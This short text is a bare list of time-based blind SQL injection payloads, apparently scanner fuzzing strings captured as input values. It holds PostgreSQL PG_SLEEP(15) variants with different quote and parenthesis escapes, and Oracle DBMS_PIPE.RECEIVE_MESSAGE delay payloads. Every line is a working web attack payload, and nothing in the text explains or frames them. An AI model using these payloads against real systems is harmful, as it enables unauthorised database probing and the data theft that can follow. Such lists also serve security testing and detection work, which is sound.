555-1 OR 634=(SELECT 634 FROM PG_SLEEP(15))--

555-1) OR 211=(SELECT 211 FROM PG_SLEEP(15))--

555-1)) OR 180=(SELECT 180 FROM PG_SLEEP(15))--

555yQcvpKA5' OR 560=(SELECT 560 FROM PG_SLEEP(15))--

555Ugrf9d0D') OR 833=(SELECT 833 FROM PG_SLEEP(15))--

5559A2dCGNJ')) OR 669=(SELECT 669 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555